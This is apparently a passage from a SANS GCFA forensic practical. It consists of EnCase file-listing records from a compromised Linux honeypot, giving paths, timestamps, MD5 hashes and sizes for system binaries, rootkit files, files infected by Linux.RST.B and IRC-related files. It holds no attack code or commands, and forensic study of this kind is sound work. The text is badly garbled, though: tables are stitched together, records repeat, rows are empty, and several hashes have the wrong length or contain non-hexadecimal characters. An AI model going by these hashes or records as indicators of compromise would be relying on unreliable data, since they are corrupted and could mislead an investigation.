Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/13/02 05:55:33PM
Hash Value 20e5862effe2cb1559ebbe0c60c4176c
Physical Size 1,744,896
Logical Size 1,744,171

185) Name sort
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sort
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/22/02 05:02:03PM
Hash Value 2785d86cfdb94e07f132035bb2d20099
Physical Size 64,512
## EnCase Computer Analysis Report

### Logical Size 64,291

<table>
<thead>
<tr>
<th>Entry</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>186)</td>
<td>stty</td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>f25eed928a929184a6bcc6c12b4adf75</td>
<td>37,888</td>
<td>37,215</td>
</tr>
<tr>
<td>187)</td>
<td>tar</td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/09/02 11:39:13AM</td>
<td>36b826c3993647491db9c5e316ae81b2</td>
<td>164,864</td>
<td>163,999</td>
</tr>
<tr>
<td>188)</td>
<td>sync</td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>641c8bf6486700017add2921fa60d4c</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>189)</td>
<td>tcsh</td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 09:45:26PM</td>
<td>d4a395c4cb342bd6ba6ae59453ee4485</td>
<td>297,384</td>
<td>297,363</td>
</tr>
<tr>
<td>190)</td>
<td>ipcalc</td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>63b258da1ed7b7dc3cacf4c32d8ff40a</td>
<td>38,912</td>
<td>38,390</td>
</tr>
<tr>
<td>191)</td>
<td>sense</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
192) Name: sleep
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\sens
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 02/07/02 11:37:18AM
Hash Value: 464dc23ac477c43418eb8d3ef087065
Physical Size: 4,096
Logical Size: 4,060

193) Name: touch
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\touch
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 04/08/02 10:02:12AM
Hash Value: bbfl8b62445518e7be3fe1db34abd1dea
Physical Size: 20,480
Logical Size: 19,999

194) Name: sed
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sed
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 04/05/02 03:26:20AM
Hash Value: 541c2abbe42d278119dd9924854202ec
Physical Size: 33,792
Logical Size: 32,799

195) Name: hdx1
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/29/03 03:22:11PM
Last Written: 06/29/03 03:22:11PM
Hash Value: Physical Size: 728
Logical Size: 0

196) Name: libgc.so
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\xlibgc.so
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:22:10PM
Last Written: 06/29/03 03:22:08PM
EnCase Computer Analysis Report
Sans GCFA Cert Assignment: EnCase Computer Analysis Report
Page 291

Hash Value 68b329da9893e34099c7d8ad5cb9c940
Physical Size 1,024
Logical Size 1

197) Name mount
Description File
Full Path Sans GCFA Cert Assignment: Linux 7.3 Honey pot system: /bin/mount
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:55:34PM
Last Written 04/01/02 05:26:24PM
Hash Value 51e4219c74324b6225ec4a9feb64d0e8
Physical Size 69,632
Logical Size 68,863

198) Name pgawk
Description File
Full Path Sans GCFA Cert Assignment: Linux 7.3 Honey pot system: /bin/pgawk
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:00PM
Last Written 03/18/02 05:25:27AM
Hash Value dc46f094dc32c55945a8a91dfc7da4c
Physical Size 259,072
Logical Size 258,236

199) Name killall
Description File
Full Path Sans GCFA Cert Assignment: Linux 7.3 Honey pot system: /dev/killall
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/29/03 03:22:07PM
Last Written 02/28/02 03:09:19PM
Hash Value 9b8536a36dc974af3264e68dd6c014f0
Physical Size 13,312
Logical Size 12,320

200) Name login
Description File
Full Path Sans GCFA Cert Assignment: Linux 7.3 Honey pot system: /bin/login
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/01/02 05:26:23PM
Hash Value f7bbe014bea2e758c25ff9d727ef5e82
Physical Size 28,672
Logical Size 27,839

201) Name login
Description File
Full Path Sans GCFA Cert Assignment: Linux 7.3 Honey pot system: /bin/login
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/01/02 05:26:23PM
Hash Value f7bbe014bea2e758c25ff9d727ef5e82
Physical Size 28,672
Logical Size 27,839
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>nice</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\bin\nice</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>35cb1f72e74a590e9feab89765bfee</td>
<td>21,504</td>
<td>20,767</td>
</tr>
<tr>
<td>popauth</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\x\popauth</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:22:10PM</td>
<td>06/29/03 03:22:08PM</td>
<td>6c613bf6376fe55623e95ec31f55aba</td>
<td>36,864</td>
<td>36,415</td>
</tr>
<tr>
<td>pwd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\bin\pwd</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>772fa70e799f2867c109200975cf8</td>
<td>19,456</td>
<td>18,815</td>
</tr>
<tr>
<td>rc.sysinit</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\etc/rc.d/rc.sysinit</td>
<td>06/29/03 03:22:09PM</td>
<td>06/30/03 04:45:40PM</td>
<td>06/29/03 03:22:09PM</td>
<td>ee965268d26b94ed0f6eb1d6be5be890</td>
<td>22,528</td>
<td>22,379</td>
</tr>
<tr>
<td>rmdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\bin\rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>9ec6c46ce54bdced26d5def0db0b78</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>true</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\bin\true</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>35cb1f72e74a590e9feab89765bfee</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>--------</td>
<td>-------------</td>
<td>-----------------------------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>----------------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>umount</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\umount</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/01/02 05:26:24PM</td>
<td>eaa0bfd117713f0141de92b8a5e7ed12</td>
<td>35,840</td>
<td>35,327</td>
</tr>
<tr>
<td>uname</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\uname</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:13AM</td>
<td>79bbdfd9a074c1d8bada03456410be5</td>
<td>19,456</td>
<td>19,071</td>
</tr>
<tr>
<td>usleep</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\usleep</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>c512271dc84a7d892551a73f85d89049</td>
<td>33,792</td>
<td>33,349</td>
</tr>
<tr>
<td>vi</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\vi</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>03/27/02 05:20:14PM</td>
<td>99d036032ca8d35d30d9df34127b2d5b</td>
<td>391,168</td>
<td>390,783</td>
</tr>
<tr>
<td>install</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\sinstall</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:21PM</td>
<td>03/24/03 09:37:31PM</td>
<td>5ab9ac0a738a7f78c85f55373f3869d</td>
<td>12,288</td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>File Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>-------</td>
<td>-------------</td>
<td>-----------</td>
<td>----------------------</td>
<td>---------------------</td>
<td>---------------------</td>
<td>--------------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>grep</td>
<td></td>
<td>/bin/grep</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/26/02 11:24:50AM</td>
<td>03800b9ba1467bb667ea3d81423614f9</td>
<td>122,880</td>
<td>122,835</td>
</tr>
<tr>
<td>gettext</td>
<td></td>
<td>/bin/gettext</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/05/02 12:14:26AM</td>
<td>8d1cfcee9be26d6fca3f536502af8744</td>
<td>44,032</td>
<td>43,452</td>
</tr>
<tr>
<td>false</td>
<td></td>
<td>/bin/false</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>82e9e2b2ebc475d576a799fa51ab3df</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>echo</td>
<td></td>
<td>/bin/echo</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>59a844056de45855afa945cab1fc044d</td>
<td>20,480</td>
<td>19,839</td>
</tr>
<tr>
<td>doexec</td>
<td></td>
<td>/bin/doexec</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>929999ee2742ddcc42e7283c5dc9825922</td>
<td>14,336</td>
<td>13,474</td>
</tr>
<tr>
<td>dmesg</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>14,336</td>
<td>13,474</td>
</tr>
</tbody>
</table>

© SANS Institute 2004,
As part of GIAC practical repository.  Author retains full rights.
EnCase Computer Analysis Report
Sans GCFA Cert Assignment/EnCase Computer Analysis Report
Page 295

Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/dmesg
Entry Modified  06/29/03 03:22:11PM
Last Accessed  06/30/03 04:50:02PM
Last Written  04/01/02 05:26:24PM
Hash Value  cf01c9d9574357c27510aff2f21630a7
Physical Size  13,312
Logical Size  12,843

219) Name  date
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/date
Entry Modified  06/29/03 03:22:11PM
Last Accessed  06/30/03 04:50:00PM
Last Written  04/08/02 10:02:12AM
Hash Value  35c3004dda5210896d46d2925bc17dea
Physical Size  31,744
Logical Size  30,815

220) Name  cut
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/cut
Entry Modified  06/29/03 03:22:11PM
Last Accessed  06/30/03 04:50:01PM
Last Written  03/22/02 05:02:03PM
Hash Value  6219a330ee1e688ab806888eb54a65f
Physical Size  29,696
Logical Size  28,810

221) Name  consolechars
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/consolechars
Entry Modified  06/29/03 03:22:11PM
Last Accessed  06/30/03 04:50:01PM
Last Written  04/15/02 08:05:51AM
Hash Value  b5acb19c71a903833d26da5dc5f1ac13
Physical Size  52,224
Logical Size  51,807

222) Name  clean
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.s.clean
Entry Modified  06/29/03 03:22:08PM
Last Accessed  06/29/03 03:25:20PM
Last Written  02/06/02 04:26:29AM
Hash Value  f9e2970e3a76b2440316b6e1a2687cbe
Physical Size  2,048
Logical Size  1,250

223) Name  chmod
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/chmod
Entry Modified  06/29/03 03:22:11PM
Last Accessed  06/30/03 04:02:10AM
Last Written  06/29/03 03:22:11PM
### EnCase Computer Analysis Report

**Hash Value:** 8c64e5b7143854ad0f0772287cbafo86
**Physical Size:** 30,720
**Logical Size:** 30,102

#### 224) Name: cat
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cat
- **Entry Modified:** 06/29/03 03:22:11PM
- **Last Accessed:** 06/30/03 04:50:01PM
- **Last Written:** 03/22/02 05:02:03PM
- **Hash Value:** 52f1af36d878c9986aa9a225f64ee65
- **Physical Size:** 29,696
- **Logical Size:** 29,549

#### 225) Name: rmt
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\sbin\rmt
- **Entry Modified:** 06/30/03 04:45:40PM
- **Last Accessed:** 06/20/03 04:07:15PM
- **Last Written:** 03/01/02 06:40:43AM
- **Hash Value:** d50f6c9ae20a2a19a76026ac9d702d55
- **Physical Size:** 378,880
- **Logical Size:** 378,827

#### Files outside root kit infected with Linux RST.B virus

Files infected by the linux.rst.b virus

#### 226) Name: mail
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mail
- **Entry Modified:** 06/30/03 04:55:50PM
- **Last Accessed:** 06/30/03 04:55:50PM
- **Last Written:** 06/30/03 04:55:50PM
- **Hash Value:** e9762cd89f17ec6e14b09a799f66ab48
- **Physical Size:** 75,776
- **Logical Size:** 75,251

#### 227) Name: mt
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt
- **Entry Modified:** 06/30/03 04:55:50PM
- **Last Accessed:** 06/30/03 04:55:50PM
- **Last Written:** 06/30/03 04:55:50PM
- **Hash Value:** 14465d16b5e91586bd90e4884d5fd
- **Physical Size:** 22,528
- **Logical Size:** 21,711

#### 228) Name: mt
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt
- **Entry Modified:** 06/30/03 04:55:50PM
- **Last Accessed:** 06/30/03 04:55:50PM
### EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>netstat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\netstat</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>8a6c03c19c4c93dfca31bcee94ce45da</td>
<td>39,936</td>
<td>39,399</td>
</tr>
<tr>
<td>cpio</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cpio</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>c61b782df9a5fbae4815ff9ddb574d55</td>
<td>74,752</td>
<td>74,031</td>
</tr>
<tr>
<td>bash</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\bash</td>
<td>06/19/03 11:34:09AM</td>
<td>06/30/03 04:55:47PM</td>
<td>04/12/02 10:09:54AM</td>
<td>11f4690af5b4e3b56a94777f12acee4f4</td>
<td>541,696</td>
<td>541,096</td>
</tr>
<tr>
<td>chgrp</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chgrp</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>f4912bd65afa8beee53a5c2bd1cdceea</td>
<td>25,600</td>
<td>25,183</td>
</tr>
<tr>
<td>ed</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ed</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>c08b691329e671e3dea363239e2c9d24</td>
<td>92,160</td>
<td>91,823</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>---------</td>
<td>-------------</td>
<td>----------------------------------------------------------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>-----------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>chown</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chown</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>1e9625aa68abf521f64603af3b8ff8b8</td>
<td>27,648</td>
<td>27,039</td>
</tr>
<tr>
<td>dd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dd</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>6dd588d7284f7606d6c4f90af6dbb74a</td>
<td>37,888</td>
<td>37,375</td>
</tr>
<tr>
<td>ln</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ln</td>
<td>06/29/03 03:39:21PM</td>
<td>06/29/03 03:41:11PM</td>
<td>06/29/03 03:39:21PM</td>
<td>44ac2d1c35045f3f20529d21aea75e8</td>
<td>29,696</td>
<td>28,863</td>
</tr>
<tr>
<td>mkdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mkdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/29/03 03:45:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>7aae71b278929d854f89fda82f89f89d</td>
<td>23,552</td>
<td>22,655</td>
</tr>
<tr>
<td>mv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mv</td>
<td>06/29/03 03:22:10PM</td>
<td>06/29/03 03:45:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>d45155beffebbdc7ac6d26a7add84d3a</td>
<td>53,248</td>
<td>52,255</td>
</tr>
<tr>
<td>egrep</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\egrep</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/19/03 11:34:42AM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/26/02 11:24:49AM</td>
<td>1a1c4e75e82a51bc570350aa22184913</td>
<td>1,024</td>
<td>33</td>
</tr>
</tbody>
</table>

240) Name: mnetstat  
Description: File  
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/mnetstat  
Entry Modified: 06/29/03 03:25:20PM  
Last Accessed: 06/30/03 04:50:02PM  
Last Written: 06/29/03 03:25:20PM  
Hash Value: 3939b3986c7342c121aa395a658a5232  
Physical Size: 109,568  
Logical Size: 108,932

241) Name: bzip2recover  
Description: File  
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/bzip2recover  
Entry Modified: 06/29/03 11:53:01PM  
Last Accessed: 06/29/03 11:53:01PM  
Last Written: 06/29/03 11:53:01PM  
Hash Value: 5d50b7a01bbf832876e7092dc91d70f4  
Physical Size: 16,384  
Logical Size: 15,624

242) Name: gencat  
Description: File  
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/gencat  
Entry Modified: 06/29/03 11:53:01PM  
Last Accessed: 06/29/03 11:53:01PM  
Last Written: 06/29/03 11:53:01PM  
Hash Value: 84492adb4dddecff3e3c8a30c99725b  
Physical Size: 20,480  
Logical Size: 18,040

243) Name: gencat  
Description: File  
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/gencat  
Entry Modified: 06/29/03 11:53:01PM  
Last Accessed: 06/29/03 11:53:01PM  
Last Written: 06/29/03 11:53:01PM  
Hash Value: 84492adb4dddecff3e3c8a30c99725b  
Physical Size: 20,480  
Logical Size: 18,040

244) Name: getent  
Description: File  
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/getent  
Entry Modified: 06/29/03 11:53:01PM  
Last Accessed: 06/29/03 11:53:01PM  
Last Written: 06/29/03 11:53:01PM  
Hash Value: f1a14d4af6053137dbd46798f0f5a9

© SANS Institute 2004,  
As part of GIAC practical repository.  
Author retains full rights.
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>iconv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system/usr/bin/iconv</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>cfba21a7bab79204868fa7265a7870e6</td>
<td>53,248</td>
<td>51,004</td>
</tr>
<tr>
<td>lddlibc4</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system/usr/bin/lddlibc4</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>2e4e896f0ea9192e5d94673d79dd403</td>
<td>8,192</td>
<td>7,800</td>
</tr>
<tr>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system/usr/bin/localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdcb3</td>
<td>299,008</td>
<td>298,828</td>
</tr>
<tr>
<td>sprof</td>
<td></td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system/usr/bin/sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdcb3</td>
<td>299,008</td>
<td>298,828</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>------------</td>
<td>-------------</td>
<td>-------------------------------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>----------------------</td>
<td>----------------</td>
<td>--------------</td>
</tr>
<tr>
<td>sprof</td>
<td>Description</td>
<td>/usr/bin/sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>4206b74dd02af036ee754efe56898b3b</td>
<td>24,576</td>
<td>20,552</td>
</tr>
<tr>
<td>db1_dump185</td>
<td>Description</td>
<td>/usr/bin/db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>lsattr</td>
<td>Description</td>
<td>/usr/bin/lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>eject</td>
<td>Description</td>
<td>/usr/bin/eject</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
</tbody>
</table>
256) Name eject
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/eject
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 85042620b5dd45a67c0280c9a3751793
Physical Size 28,672
Logical Size 25,812

257) Name file
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/file
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 63a4be81d1843be376f98b0986ff836a
Physical Size 49,152
Logical Size 48,674

258) Name file
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/file
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 63a4be81d1843be376f98b0986ff836a
Physical Size 49,152
Logical Size 48,674

259) Name ksymoops
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/ksymoops
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 0d9ddca9a28dccc0313ac4012f20c6c31
Physical Size 450,560
Logical Size 448,456

260) Name ksymoops
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/ksymoops
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 0d9ddca9a28dccc0313ac4012f20c6c31
Physical Size 450,560
Logical Size 448,456
### IRC Files

<table>
<thead>
<tr>
<th>File Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>262) a2p</td>
<td>Description File</td>
<td>Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ /usr/bin/a2p</td>
<td>Entry Modified: 06/29/03 11:53:02PM</td>
<td>Last Accessed: 06/29/03 11:53:02PM</td>
<td>Last Written: 06/29/03 11:53:02PM</td>
<td>Hash Value: 5da1e3d5a9112696f1f17b6c2256240e</td>
<td>Physical Size: 110,592</td>
<td>Logical Size: 106,681</td>
</tr>
<tr>
<td>263) services</td>
<td>Description File</td>
<td>Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ /tmp/.font- unix/.X11-pipe/inetd/services</td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td>Last Accessed: 06/29/03 03:32:59PM</td>
<td>Last Written: 03/15/02 07:27:40PM</td>
<td>Hash Value: a964f156ab911428a2ae6e849842f13</td>
<td>Physical Size: 475,136</td>
<td>Logical Size: 474,596</td>
</tr>
<tr>
<td>264) randpickup.e</td>
<td>Description File</td>
